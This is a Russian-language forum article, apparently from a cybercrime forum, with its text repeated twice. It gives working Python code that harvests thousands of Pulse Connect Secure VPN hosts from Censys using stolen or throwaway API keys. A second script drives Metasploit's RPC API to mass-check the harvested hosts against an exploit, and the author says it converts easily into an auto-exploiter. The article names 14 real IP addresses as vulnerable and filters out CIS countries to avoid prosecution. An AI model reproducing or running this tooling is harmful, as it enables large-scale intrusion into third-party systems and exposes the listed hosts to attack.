Пожалуйста, обратите внимание, что пользователь заблокирован
На написание данного высера материала автора вдохновила статья Bassterlord и Desoxyn. (Наш, а не тот, о котором вы подумали...)
Часть 1. Получаем тысчячи ip без смс и регистрации.
Способов добычи таргетов много, и для каждого можно написать что-то подобное. Мы же рассмотрим Censys. Использовать будем его api
— Но для использования api ценсиса нам нужен аккаунт с данными (API ID, Secret)! А там надо регаться! На*бщик!
— Да, нужен. Способов его получения 2:
1) Зарегистрироваться (ГЕНИАЛЬНО)
Ничего сложного тут нет.
а) Заходим на 10 минутную почту
б) Заходим на страницу регистрации, все данные кроме почты вводим от балды.
в) Ждём подтверждения по почте и здесь берём uid и secret
На всё про всё уходит минуты две.
2) Тихо сп**дил и ушёл, называется нашёл.
Если по каким-то соображениям не хотим регаться, идём, например, на гитхаб. Кстати, статья об этом есть на нашем форуме
Пошерстив поиск пару минут, получаем десятки (валидных и не очень) пар uid/secret.
Если повезёт, найдём ключи для акка Pro/Enterprise, но 99% - Free.
Вообще, на censys есть 3 вида аккаунтов: Free, Pro, Enterprise.
Отличаются они количеством запросов в месяц и максимальным количеством доступных результатов на запрос.
Для бесплатного аккаунта - максимум 1000, для Pro - до 25000, для Enterprise - 25000.
— Но как же мы будет шерстить интернет, если (на фри аккаунте) максимум 1000 результатов, а если закинуть тот же дорк dana-na из статьи Bassterlord, мы получим почти миллион?!?!? ТС НЕ ШАРИТ!
— Во первых, правильно составляем поисковый запрос. Дорк dana-na идёт не только под панели Pulse Secure, но ещё и под кучувсякой х#йни других впнов.
Немного пораскинув мозгами создём такой дорк. Рекомендую, кстати, ознакомиться с документацией.
Идём с ним в Censys и получаем 9к хостов, из которых (со стандартным аккаунтом) нам доступно только 1к.
Давайте попробуем обойти ограничения!
Во первых, уберём таргеты из стран СНГ. Мы же не хотим стать работником месяца по РУ, правда?
Во вторых, уберём результаты из Мед учереждений. Мы же не уебан, правда?
Делаем авториацию с возможностью определить тарифный план аккаунта
Добавляем фунции для обращения к api и получения данных
Непосредственно код
Для обхода ограничений ценсиса, мы
1) Создаём разделение по странам. Создаём список приоритетных для нас стран. Я добавил туда 10 штук, чем больше их будет - тем больше реквестов мы отправим(на это тоже есть лимит) и тем больше хостов сможем "пощупать".
Затем сначала ищем хосты для каждой из этих стран отдельно, а потом для всех стран - не считая приоритетных.
Для изначального дорка на 9.5к хостов, удаётся с 1к поднять результаты поиска до примерно 4.4к, т.к. хосты распределены не равномерно, и сконцентрированы в основном в США (около 2600 остаются незатронутыми).
2) Создаём разделение по http статус коду. +- 30% хостов бьются на 80 порт, этим и воспользуемся. Сделаем так, чтобы если кол-во страниц было больше нашего лимита, мы отправляли запросы на этот дорк для хостов с бьющимся портом и наоборот
Получаем на 2к ip больше, т.к. незатронутые хосты были поделены на 2 части - хосты в US и хосты в мире. Для них мы фильтром добились удвоения лимита поиска (с 1к до 2к, вот и получаем на 2к хостов больше)
Вывод тулзы будет иметь примерно такой характер
А в файле с датой и временем на момент запуска скрипта будут лежать ip в чистом виде.
Если ловим ошибки по типу 400, 429, скипы и т.п. - значит аккаунт всё, нужно брать другой.
По итогу, незатронутыми остаются чуть меньше 3к хостов, лимит мы подняли с 1000 до 6000+.
На самом деле, можно добавить ещё фильтров, взять несколько фри аккаунтов, и парсить хоть по 20к, было бы желание =)
Напоминаю, благодаря грамотно составленному дорку, НА ВСЕХ ХОСТАХ СТОИТ PULSE, процент уязвимых - другой вопрос.
В коде, кстати, есть поддержка энтерпрайз аккаунта с автодетектом, так что, если нужно обойти лимиты в 25к и на нём - милости прошу.
Вывод: Подарите кто-нибудь ТСу ключи к про или энтерпрайз аккаунту, видите какую он х#йню творит
Вывод: Мы нашли 6000+ потенциально уязвимых хостов, надо писать чекер и авто-эксплойтер!
Часть 2. Эксплуатируем ВСЁ И СРАЗУ!
Хочу оговорить, товарищ майор, что ТС ничего не эксплуатировал, да и вообще я2Head вайтхет до глубины души.
В связи с этимну и с тем, чтобы школьники не локнули половину интернета по статье ТСа через download/exec писáть мы будем чекер, а не эксплойтер.
Для тех кто умеет в метасплойт и питон, исправить пару команд - не составит труда. Работать чекер будет в один поток (по тем же причинам).
Использовать будем msgrpc api метасплойта.
Сначала делаем лаунчер метасплойта с плагином msgrpc
Под винду создаём .bat, под линукс - .sh с содержанием
Перед запуском чекера всегда запускаем ба(т/ш)ник и обязательно ждём пока прогрузиться метасплойт!
Дефолтные учётные данные для rpc
Функция для обращения к апи
Авторизиуемся
Сам чек. На выходе получаем уязвимые таргеты в консоли
Непосредственно мейн
Важно! Эксплойт, на уязвимость к которому вы хотите проверить, должен поддерживать check.
Перед тем, как запускать - сначала В РУЧНУЮ в метасполйте проверьте работоспособность эксплойта: Не нужны ли доп. параметры, поддерживается ли чек, правильный ли порт, ИБО ШАБЛОН ОБЩИЙ И НЕ БУДЕТ РАБОТАТЬ ДЛЯ КАЖДОГО ЭКСПЛОЙТА.
Часть 3. Практика
Долго разглагольствовать не буду, просто заходим на эксплойт дб и выбираем первый попавшийся сплойт
Проверяем, есть ли в этом эксплойте чек, нужна ли авторизация, доп. параметры и т.п.
После чего ищем подходящий дорк. Я взял просто mylittleadmin. Заходим в сделанный в 1 части скрипт для censys, в значение query вводим наш дорк.
На выходе получаем около 60 ip адресов.
Теперь проставляем значения файла с айпишниками, порт (в данном случае https - 443), эксплойт (modules/exploits/windows/http/plesk_mylittleadmin_viewstate)
По завершении работы скрипта видим следующее:
Да, 14 хостов - не много. Но:
1) Мы просто зашли и ткнули в первый попавшийся эксплойт
2) Мы протестировали всего +- 60 таргетов, а в процентном соотношении уязвимы почти 25% хостов!!
P.S. Если эта статья наберёт сто тысяч лайков, напишу о том, как автоматизировать пост-эксплуатацию (получение информации, скан сети уязвимого таргета и керберостинг)
Часть 1. Получаем тысчячи ip без смс и регистрации.
Способов добычи таргетов много, и для каждого можно написать что-то подобное. Мы же рассмотрим Censys. Использовать будем его api
— Но для использования api ценсиса нам нужен аккаунт с данными (API ID, Secret)! А там надо регаться! На*бщик!
— Да, нужен. Способов его получения 2:
1) Зарегистрироваться (ГЕНИАЛЬНО)
Ничего сложного тут нет.
а) Заходим на 10 минутную почту
б) Заходим на страницу регистрации, все данные кроме почты вводим от балды.
в) Ждём подтверждения по почте и здесь берём uid и secret
На всё про всё уходит минуты две.
2) Тихо сп**дил и ушёл, называется нашёл.
Если по каким-то соображениям не хотим регаться, идём, например, на гитхаб. Кстати, статья об этом есть на нашем форуме
Пошерстив поиск пару минут, получаем десятки (валидных и не очень) пар uid/secret.
Если повезёт, найдём ключи для акка Pro/Enterprise, но 99% - Free.
Вообще, на censys есть 3 вида аккаунтов: Free, Pro, Enterprise.
Отличаются они количеством запросов в месяц и максимальным количеством доступных результатов на запрос.
Для бесплатного аккаунта - максимум 1000, для Pro - до 25000, для Enterprise - 25000.
— Но как же мы будет шерстить интернет, если (на фри аккаунте) максимум 1000 результатов, а если закинуть тот же дорк dana-na из статьи Bassterlord, мы получим почти миллион?!?!? ТС НЕ ШАРИТ!
— Во первых, правильно составляем поисковый запрос. Дорк dana-na идёт не только под панели Pulse Secure, но ещё и под кучу
Немного пораскинув мозгами создём такой дорк. Рекомендую, кстати, ознакомиться с документацией.
Код:
dana-na and 443.https.get.title: "Pulse Connect Secure"
Давайте попробуем обойти ограничения!
Python:
import sys
import requests
import time
import json
#Здесь будет наш поисковый запрос
query = 'dana-na and 443.https.get.title: "Pulse Connect Secure"'
#Сюда вставляем свои данные для api ценсиса
UID = "юайди"
SECRET ="секрет"
#файл, в котором будут храниться результаты поиска. Его название будет равно дате и времени суток на помент запуска скрипта
output = '%s.txt' % time.strftime("%d.%m.%H.%M", time.localtime())
#Вносим страны, которые для нас в приоритете
PRIORITY_COUNTRIES =['US', 'UK', 'NL', 'DE', 'CN', 'FR', 'CA', 'JP', 'KR', 'ES']
Python:
CIS = ['UA', 'UZ', 'TJ', 'RU', 'MD', 'KG', 'KZ', 'BY', 'AZ', 'AM']
def exclude_countries(query, COUNTRIES_TO_EXCLUDE):
for i in COUNTRIES_TO_EXCLUDE:
query += ' and not location.country_code: %s' % i
return query
Python:
DISALLOWED = ['Medical', 'autonomous_system.description: University']
def exclude(query, DISALLOWED):
for i in DISALLOWED:
query += ' and not %s' % i
return query
Python:
def auth():
print('[!] Authorizing Censys API ...')
r = requests.get("https://censys.io/api/v1/data", auth=(UID, SECRET))
if r.status_code == 200:
print('[+] Successfully authorized!')
#Проверяем, стоит ли ограничение на 10 поисковых страниц
if search(data={'page': 15, 'query': 'query', 'fields': ['ip']}).status_code == 200:
Account = 'Enterprise'
print('[+] Enterprise account detected!')
else :
Account = 'Standard'
print('[!] Standard account detected.')
return Account
else :
print('[-] Authorization failed. \n[-] Status code %s' % r.status_code)
sys.exit()
Python:
def search(data):
#Добавляем задержку, чтобы не нарушать лимиты
time.sleep(1)
return requests.post("https://censys.io/api/v1/search/ipv4", data=json.dumps(data), auth=(UID, SECRET))
def retrieve(r, data):
retVal = []
try :
j = r.json()
for i in j['results']:
retVal.append(i['ip'])
for i in range(2, j['metadata']['pages']+1):
if int(i) <= limit:
print('[+] Retriving page [%s/%s] ' % (i, j['metadata']['pages']), end = "\r")
data['page'] = i
nr = search(data)
if nr.status_code == 200:
for i in nr.json()['results']:
retVal.append(i['ip'])
else :
print('[-] Data retrival failed at page %s, status code %s' % (i, nr.status_code))
break
except KeyError:
pass
return retVal
Непосредственно код
Python:
if __name__ == "__main__":
try :
result = []
#Определяем тип аккаунта и его лимиты
Account = auth()
if Account == 'Standard' :
limit = 10
elif Account == 'Enterprise':
limit = 250
#Делаем первичную фильтрацию введённого дорка
query = exclude_countries(query, CIS)
query = exclude(query, DISALLOWED)
data={'page': 1, 'query': query, 'fields': ['ip']}
r = search(data)
if r.status_code == 200 and r.json()['status'] == 'ok':
j = r.json()
#Если кол-во страниц в выдаче меньше или равно лимиту нашего аккаунта просто возвращаем их
if j['metadata']['pages'] <= limit:
print('[+] Found total %s targets in %s pages, retriving data ...' % (j['metadata']['count'], j['metadata']['pages']))
result += retrieve(r, data)
#Если нет, фильтруем данные
else:
print('[+] Found total %s targets in %s pages' % (j['metadata']['count'], j['metadata']['pages']))
print('[!] Only the first %s result pages are available for %s Censys account\n[!] Using advanced search techniques to bypass restrictions ...' % (limit, Account))
#Фильтруем поисковые запросы для приоритетных стран отдельно
for i in PRIORITY_COUNTRIES:
print('[*] Retriving location based data for %s ' % i)
data['query'] = query + ' and location.country_code: %s' % i
nnr = search(data)
if nnr.json()['metadata']['pages'] <= limit:
result += retrieve(nnr, data)
else :
#Делаем искусственное разделение данных для обхода ограничений
data['query'] = query + ' and location.country_code: %s and 80.http.get.status_code: 200' % i
result += retrieve(search(data), data)
data['query'] = query + ' and location.country_code: %s and not 80.http.get.status_code: 200' % i
result += retrieve(search(data), data)
#Возвращаем глобальные данные, за исключением приоритетных стран
print('[*] Retriving global data')
data={'page': 1, 'query': exclude_countries(query, PRIORITY_COUNTRIES), 'fields': ['ip']}
br = search(data)
if br.json()['metadata']['pages'] <= limit:
result += retrieve(br, data)
else :
#Делаем искусственное разделение данных для обхода ограничений
data['query'] = exclude_countries(query, PRIORITY_COUNTRIES) + ' and 80.http.get.status_code: 200'
result += retrieve(search(data), data)
data['query'] = exclude_countries(query, PRIORITY_COUNTRIES) + ' and not 80.http.get.status_code: 200'
result += retrieve(search(data), data)
print('[+] Successfully retrieved [%s/%s] search results' % (len(result), j['metadata']['count']))
print('[!] Censys API data extraction finished.')
else :
print('[-] Request failed. \n[-] Status code %s' % r.status_code)
sys.exit()
#Сохраняем результаты
with open(output, 'w') as file:
for i in result:
file.write(i+'\n')
except KeyboardInterrupt:
print('[-] User interrupdet, exitting ...')
sys.exit()
1) Создаём разделение по странам. Создаём список приоритетных для нас стран. Я добавил туда 10 штук, чем больше их будет - тем больше реквестов мы отправим(на это тоже есть лимит) и тем больше хостов сможем "пощупать".
Код:
PRIORITY_COUNTRIES =['US', 'UK', 'NL', 'DE', 'CN', 'FR', 'CA', 'JP', 'KR', 'ES']
Код:
[+] Successfully retrieved [4375/9279] search results
2) Создаём разделение по http статус коду. +- 30% хостов бьются на 80 порт, этим и воспользуемся. Сделаем так, чтобы если кол-во страниц было больше нашего лимита, мы отправляли запросы на этот дорк для хостов с бьющимся портом и наоборот
Код:
[+] Successfully retrieved [6375/9279] search results
Вывод тулзы будет иметь примерно такой характер
Код:
[!] Authorizing Censys API ...
[+] Successfully authorized!
[!] Standard account detected.
[+] Found total 9279 targets in 93 pages
[!] Only the first 10 result pages are available for Standard Censys account
[!] Using advanced search techniques to bypass restrictions ...
[*] Retriving location based data for US
[*] Retriving location based data for UK
[*] Retriving location based data for NL
[*] Retriving location based data for DE
[*] Retriving location based data for CN
[*] Retriving location based data for FR
[*] Retriving location based data for CA
[*] Retriving location based data for JP
[*] Retriving location based data for KR
[*] Retriving location based data for ES
[*] Retriving global data
[+] Successfully retrieved [6375/9279] search results
[!] Censys API data extraction finished.
Если ловим ошибки по типу 400, 429, скипы и т.п. - значит аккаунт всё, нужно брать другой.
По итогу, незатронутыми остаются чуть меньше 3к хостов, лимит мы подняли с 1000 до 6000+.
На самом деле, можно добавить ещё фильтров, взять несколько фри аккаунтов, и парсить хоть по 20к, было бы желание =)
Напоминаю, благодаря грамотно составленному дорку, НА ВСЕХ ХОСТАХ СТОИТ PULSE, процент уязвимых - другой вопрос.
В коде, кстати, есть поддержка энтерпрайз аккаунта с автодетектом, так что, если нужно обойти лимиты в 25к и на нём - милости прошу.
Вывод: Мы нашли 6000+ потенциально уязвимых хостов, надо писать чекер и авто-эксплойтер!
Часть 2. Эксплуатируем ВСЁ И СРАЗУ!
Хочу оговорить, товарищ майор, что ТС ничего не эксплуатировал, да и вообще я
В связи с этим
Для тех кто умеет в метасплойт и питон, исправить пару команд - не составит труда. Работать чекер будет в один поток (по тем же причинам).
Использовать будем msgrpc api метасплойта.
Сначала делаем лаунчер метасплойта с плагином msgrpc
Под винду создаём .bat, под линукс - .sh с содержанием
Код:
msfconsole -x "load msgrpc Pass=pass"
Перед запуском чекера всегда запускаем ба(т/ш)ник и обязательно ждём пока прогрузиться метасплойт!
Python:
import time
import http.client
import msgpack
#выбираем входной файл
input = '13.37.13.37.txt'
#выбираем порт
port = '443'
#выбираем эксплойт
exploit = 'modules/exploits/windows/http/plesk_mylittleadmin_viewstate'
Дефолтные учётные данные для rpc
Python:
msgrpc_host = '127.0.0.1'
msgrpc_port = 55552
msgrpc_username = 'msf'
msgrpc_password = 'pass'
client = http.client.HTTPConnection(msgrpc_host, msgrpc_port)
Функция для обращения к апи
Python:
def send(params):
headers = {'Content-type': 'binary/message-pack'}
client.request('POST', '/api', msgpack.packb(params), headers)
response = client.getresponse()
content = msgpack.unpackb(response.read())
return content
Авторизиуемся
Python:
def connect():
response = send(['auth.login', msgrpc_username, msgrpc_password])
if response[b'result'].decode('utf-8') == 'success':
token = response[b'token'].decode('utf-8')
return token, send(['console.create', token])[b'id']
Сам чек. На выходе получаем уязвимые таргеты в консоли
Python:
def check(rhost, rport, exploit):
#шаблон команд
template="""
use %s
set rhost %s
set rport %s
check
""" % (exploit, rhost, rport)
#Отправляем команду в метасплойт
send(['console.write', token, console_id, template])
#Тут начинаются ебан#е костыли с получением ответа и фиксом багов апи
r = send(['console.read', token, console_id])
busy = r[b'busy']
while busy == True:
time.sleep(1)
r = send(['console.read', token, console_id])
busy = r[b'busy']
respdata = r[b'data'].decode("utf-8")
if respdata != '':
for i in respdata.split('\n'):
if i.count('[+]') != 0:
print(i)
Непосредственно мейн
Python:
if __name__ == "__main__":
#коннектимся к апи
token, console_id = connect()
#для каждого таргета в входном файле выполняем чек
with open (input, 'r') as file:
for i in file:
check(i.replace('\n',''), port, exploit)
#дропаем консоль
send(['console.destroy', token, console_id])
Важно! Эксплойт, на уязвимость к которому вы хотите проверить, должен поддерживать check.
Перед тем, как запускать - сначала В РУЧНУЮ в метасполйте проверьте работоспособность эксплойта: Не нужны ли доп. параметры, поддерживается ли чек, правильный ли порт, ИБО ШАБЛОН ОБЩИЙ И НЕ БУДЕТ РАБОТАТЬ ДЛЯ КАЖДОГО ЭКСПЛОЙТА.
Часть 3. Практика
Долго разглагольствовать не буду, просто заходим на эксплойт дб и выбираем первый попавшийся сплойт
Проверяем, есть ли в этом эксплойте чек, нужна ли авторизация, доп. параметры и т.п.
После чего ищем подходящий дорк. Я взял просто mylittleadmin. Заходим в сделанный в 1 части скрипт для censys, в значение query вводим наш дорк.
На выходе получаем около 60 ip адресов.
Теперь проставляем значения файла с айпишниками, порт (в данном случае https - 443), эксплойт (modules/exploits/windows/http/plesk_mylittleadmin_viewstate)
Python:
#выбираем входной файл
input = '13.37.13.37.txt'
#выбираем порт
port = '443'
#выбираем эксплойт
exploit = 'modules/exploits/windows/http/plesk_mylittleadmin_viewstate'
Код:
[+] 204.93.168.167:443 - The target is vulnerable. We can sign our own ViewState.
[+] 89.38.209.19:443 - The target is vulnerable. We can sign our own ViewState.
[+] 204.93.168.12:443 - The target is vulnerable. We can sign our own ViewState.
[+] 204.93.168.254:443 - The target is vulnerable. We can sign our own ViewState.
[+] 64.79.160.21:443 - The target is vulnerable. We can sign our own ViewState.
[+] 95.0.238.91:443 - The target is vulnerable. We can sign our own ViewState.
[+] 62.129.252.134:443 - The target is vulnerable. We can sign our own ViewState.
[+] 62.129.252.131:443 - The target is vulnerable. We can sign our own ViewState.
[+] 62.129.252.128:443 - The target is vulnerable. We can sign our own ViewState.
[+] 204.93.178.162:443 - The target is vulnerable. We can sign our own ViewState.
[+] 50.59.99.210:443 - The target is vulnerable. We can sign our own ViewState.
[+] 96.31.35.6:443 - The target is vulnerable. We can sign our own ViewState.
[+] 79.171.34.150:443 - The target is vulnerable. We can sign our own ViewState.
[+] 78.129.144.37:443 - The target is vulnerable. We can sign our own ViewState.
Да, 14 хостов - не много. Но:
1) Мы просто зашли и ткнули в первый попавшийся эксплойт
2) Мы протестировали всего +- 60 таргетов, а в процентном соотношении уязвимы почти 25% хостов!!
Вложения
Последнее редактирование: